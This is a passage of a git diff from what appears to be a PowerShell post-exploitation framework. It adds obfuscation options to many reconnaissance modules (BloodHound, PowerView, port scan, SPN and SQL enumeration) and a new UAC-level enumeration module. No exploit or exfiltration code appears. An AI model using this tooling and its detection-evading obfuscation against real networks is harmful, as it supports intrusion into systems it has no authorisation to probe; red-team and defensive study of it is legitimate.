+55,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -86,5 +86,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/host/get_uaclevel.py b/lib/modules/powershell/situational_awareness/host/get_uaclevel.py new file mode 100644 index 000000000..81aa98b54 --- /dev/null +++ b/lib/modules/powershell/situational_awareness/host/get_uaclevel.py @@ -0,0 +1,106 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-UACLevel', + + 'Author': ['Petr Medonos'], + + 'Description': ('Enumerates UAC level'), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'Language' : 'powershell', + + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://gallery.technet.microsoft.com/How-to-switch-UAC-level-0ac3ea11' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + script = """ +function Get-UACLevel +{ + <# + .Synopsis + Enumerates the UAC Level + Author: Petr Medonos + + .DESCRIPTION + Enumerates the UAC Level + .EXAMPLE + C:\> Get-UACLevel + #> + + New-Variable -Name Key + New-Variable -Name PromptOnSecureDesktop_Name + New-Variable -Name ConsentPromptBehaviorAdmin_Name + + + $Key = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" + $ConsentPromptBehaviorAdmin_Name = "ConsentPromptBehaviorAdmin" + $PromptOnSecureDesktop_Name = "PromptOnSecureDesktop" + + $ConsentPromptBehaviorAdmin_Value = (Get-ItemProperty $Key $ConsentPromptBehaviorAdmin_Name).$ConsentPromptBehaviorAdmin_Name + $PromptOnSecureDesktop_Value = (Get-ItemProperty $Key $PromptOnSecureDesktop_Name).$PromptOnSecureDesktop_Name + If($ConsentPromptBehaviorAdmin_Value -Eq 0 -And $PromptOnSecureDesktop_Value -Eq 0){ + "Never notify" + } + ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 5 -And $PromptOnSecureDesktop_Value -Eq 0){ + "Notify me only when apps try to make changes to my computer (do not dim my desktop)" + } + ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 5 -And $PromptOnSecureDesktop_Value -Eq 1){ + "Notify me only when apps try to make changes to my computer (default)" + } + ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 2 -And $PromptOnSecureDesktop_Value -Eq 1){ + "Always notify" + } + Else{ + "Unknown" + } +} Get-UACLevel""" + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + return script diff --git a/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py index 08ed64e5e..1939a240e 100644 --- a/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py +++ b/lib/modules/powershell/situational_awareness/host/monitortcpconnections.py @@ -78,7 +78,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # the PowerShell script itself, with the command to invoke # for execution appended to the end. Scripts should output @@ -91,6 +91,9 @@ def generate(self): # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -101,7 +104,7 @@ def generate(self): f.close() script = moduleCode - script += "Start-TCPMonitor" + scriptEnd = "Start-TCPMonitor" # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -109,8 +112,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/host/paranoia.py b/lib/modules/powershell/situational_awareness/host/paranoia.py index 237a98ec9..253971e8a 100644 --- a/lib/modules/powershell/situational_awareness/host/paranoia.py +++ b/lib/modules/powershell/situational_awareness/host/paranoia.py @@ -72,11 +72,14 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # if you're reading in a large, external script that might be updates, # use the pattern below # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Invoke-Paranoia.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -88,7 +91,7 @@ def generate(self): script = moduleCode - script += "Invoke-Paranoia " + scriptEnd = "Invoke-Paranoia " # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -96,8 +99,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - return script \ No newline at end of file + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/situational_awareness/host/winenum.py b/lib/modules/powershell/situational_awareness/host/winenum.py index 2f9d25249..fd0583d8c 100644 --- a/lib/modules/powershell/situational_awareness/host/winenum.py +++ b/lib/modules/powershell/situational_awareness/host/winenum.py @@ -60,11 +60,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Invoke-WinEnum.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -76,7 +78,7 @@ def generate(self): script = moduleCode - script += "Invoke-WinEnum " + scriptEnd = "Invoke-WinEnum " # add any arguments to the end execution of the script for option,values in self.options.iteritems(): @@ -84,8 +86,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/arpscan.py b/lib/modules/powershell/situational_awareness/network/arpscan.py index 6a0a4a94e..387b49655 100644 --- a/lib/modules/powershell/situational_awareness/network/arpscan.py +++ b/lib/modules/powershell/situational_awareness/network/arpscan.py @@ -60,11 +60,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ARPScan.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -76,17 +78,19 @@ def generate(self): script = moduleCode - script += "Invoke-ARPScan " + scriptEnd = "Invoke-ARPScan " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += " | Select-Object MAC, Address | ft -autosize | Out-String | %{$_ + \"`n\"}" + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " | Select-Object MAC, Address | ft -autosize | Out-String | %{$_ + \"`n\"}" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/bloodhound.py b/lib/modules/powershell/situational_awareness/network/bloodhound.py index 2164ff032..d080099bc 100644 --- a/lib/modules/powershell/situational_awareness/network/bloodhound.py +++ b/lib/modules/powershell/situational_awareness/network/bloodhound.py @@ -37,6 +37,21 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'ComputerName' : { + 'Description' : 'Array of one or more computers to enumerate', + 'Required' : False, + 'Value' : '' + }, + 'ComputerADSpath' : { + 'Description' : 'The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local"', + 'Required' : False, + 'Value' : '' + }, + 'UserADSPath' : { + 'Description' : 'The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local"', + 'Required' : False, + 'Value' : '' + }, 'Domain' : { 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, @@ -48,7 +63,7 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'CollectionMethod' : { - 'Description' : "The method to collect data. 'Group', 'LocalGroup', 'GPOLocalGroup', 'Sesssion', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.", + 'Description' : "The method to collect data. 'Group', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'.", 'Required' : True, 'Value' : 'Default' }, @@ -60,22 +75,42 @@ def __init__(self, mainMenu, params=[]): 'CSVFolder' : { 'Description' : 'The CSV folder to use for output, defaults to the current folder location.', 'Required' : False, - 'Value' : '' + 'Value' : '$(Get-Location)' }, 'CSVPrefix' : { 'Description' : 'A prefix for all CSV files.', 'Required' : False, 'Value' : '' }, + 'URI' : { + 'Description' : 'The BloodHound neo4j URL location (http://host:port/)', + 'Required' : False, + 'Value' : '' + }, + 'UserPass' : { + 'Description' : 'The "user:password" for the BloodHound neo4j instance', + 'Required' : False, + 'Value' : '' + }, 'GlobalCatalog' : { 'Description' : 'The global catalog location to resolve user memberships from.', 'Required' : False, 'Value' : '' }, + 'SkipGCDeconfliction' : { + 'Description' : 'Switch. Skip global catalog enumeration for session deconfliction', + 'Required' : False, + 'Value' : '' + }, 'Threads' : { 'Description' : 'The maximum concurrent threads to execute.', 'Required' : True, 'Value' : '20' + }, + 'Throttle' : { + 'Description' : 'The number of cypher queries to queue up for neo4j RESTful API ingestion.', + 'Required' : True, + 'Value' : '1000' } } @@ -90,13 +125,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/BloodHound.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") # TODO: just CSV output for this bloodhound version? no output to file? try: @@ -108,18 +145,21 @@ def generate(self): moduleCode = f.read() f.close() - script = "%s\n%s" %(moduleCode, moduleName) + script = "%s\n" %(moduleCode) + scriptEnd = moduleName for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py b/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py index 0baae0f72..4563d5a88 100644 --- a/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py +++ b/lib/modules/powershell/situational_awareness/network/get_exploitable_system.py @@ -81,7 +81,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -112,5 +112,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/get_spn.py b/lib/modules/powershell/situational_awareness/network/get_spn.py index 26c7b236f..9fce9ca6a 100644 --- a/lib/modules/powershell/situational_awareness/network/get_spn.py +++ b/lib/modules/powershell/situational_awareness/network/get_spn.py @@ -62,11 +62,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SPN.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -78,17 +80,19 @@ def generate(self): script = moduleCode - script += "\nGet-SPN" + scriptEnd = "\nGet-SPN" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - script += " -List yes | Format-Table -Wrap | Out-String | %{$_ + \"`n\"}" - + scriptEnd += " -List yes | Format-Table -Wrap | Out-String | %{$_ + \"`n\"}" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py index 5ac139d90..dbf5362a0 100644 --- a/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py +++ b/lib/modules/powershell/situational_awareness/network/get_sql_instance_domain.py @@ -79,7 +79,7 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): domainController = self.options['DomainController']['Value'] computerName = self.options['ComputerName']['Value'] @@ -92,6 +92,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" script = "" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(moduleSource, 'r') as source: script = source.read() @@ -99,20 +102,22 @@ def generate(self): print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" - script += " Get-SQLInstanceDomain" + scriptEnd = " Get-SQLInstanceDomain" if username != "": - script += " -Username " + username + scriptEnd += " -Username " + username if password != "": - script += " -Password " + password + scriptEnd += " -Password " + password if domainController != "": - script += " -DomainController "+domainController + scriptEnd += " -DomainController "+domainController if computerName != "": - script += " -ComputerName "+computerName + scriptEnd += " -ComputerName "+computerName if domainAccount != "": - script += " -DomainAccount "+domainAccount + scriptEnd += " -DomainAccount "+domainAccount if checkMgmt.lower() != "false": - script += " -CheckMgmt" + scriptEnd += " -CheckMgmt" if udpTimeOut != "": - script += " -UDPTimeOut "+udpTimeOut - + scriptEnd += " -UDPTimeOut "+udpTimeOut + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py index e65c388a6..83c9bf9bf 100644 --- a/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py +++ b/lib/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -60,7 +60,7 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): username = self.options['Username']['Value'] password = self.options['Password']['Value'] instance = self.options['Instance']['Value'] @@ -69,6 +69,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLServerInfo.ps1" script = "" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(moduleSource, 'r') as source: script = source.read() @@ -78,24 +81,29 @@ def generate(self): if check_all: auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=auxModuleSource, obfuscationCommand=obfuscationCommand) + auxModuleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(auxModuleSource, 'r') as auxSource: auxScript = auxSource.read() script += " " + auxScript except: print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) - script += " Get-SQLInstanceDomain " + scriptEnd = " Get-SQLInstanceDomain " if username != "": - script += " -Username "+username + scriptEnd += " -Username "+username if password != "": - script += " -Password "+password - script += " | " - script += " Get-SQLServerInfo" + scriptEnd += " -Password "+password + scriptEnd += " | " + scriptEnd += " Get-SQLServerInfo" if username != "": - script += " -Username "+username + scriptEnd += " -Username "+username if password != "": - script += " -Password "+password + scriptEnd += " -Password "+password if instance != "" and not check_all: - script += " -Instance "+instance - + scriptEnd += " -Instance "+instance + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/portscan.py b/lib/modules/powershell/situational_awareness/network/portscan.py index 06e002fde..336e1bf83 100644 --- a/lib/modules/powershell/situational_awareness/network/portscan.py +++ b/lib/modules/powershell/situational_awareness/network/portscan.py @@ -111,11 +111,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-Portscan.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -127,17 +129,19 @@ def generate(self): script = moduleCode - script += "Invoke-PortScan -noProgressMeter -f" + scriptEnd = "Invoke-PortScan -noProgressMeter -f" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) + scriptEnd += " -" + str(option) + " " + str(values['Value']) - script += " | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-String | %{$_ + \"`n\"}" - + scriptEnd += " | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-String | %{$_ + \"`n\"}" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py b/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py index e0175c3ce..77f24df01 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_computer_field.py @@ -71,7 +71,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -102,5 +102,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py index 0d8eb304d..1e81f6946 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_group.py @@ -65,7 +65,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -96,5 +96,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py index 70949460f..6d7588d81 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_foreign_user.py @@ -65,7 +65,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -96,5 +96,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py index c1a148c6d..ab9a19430 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.py @@ -80,7 +80,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -111,5 +111,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py index 6bd6d3409..2ca9d6fd5 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_gpo_location.py @@ -75,7 +75,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -106,5 +106,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py b/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py index 016516568..675c30c04 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.py @@ -86,7 +86,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -117,5 +117,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py b/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py index 9fcee3843..463840ff4 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.py @@ -53,7 +53,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -84,5 +84,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py b/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py index 113a91817..0a98d22c6 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/find_user_field.py @@ -71,7 +71,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -102,5 +102,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - - return script \ No newline at end of file + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) + return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py b/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py index 6c4358aa3..0168052ca 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.py @@ -66,7 +66,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -97,5 +97,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py b/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py index 8720e0a44..b5211807e 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_computer.py @@ -100,7 +100,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -131,5 +131,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py b/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py index bec50f7fc..f527abff2 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_dfs_share.py @@ -60,7 +60,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -91,5 +91,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py index ccdb26149..d7095976a 100644 --- a/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py +++ b/lib/modules/powershell/situational_awareness/network/powerview/get_domain_controller.py @@ -66,7 +66,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] @@ -97,5 +97,6 @@ def generate(self): 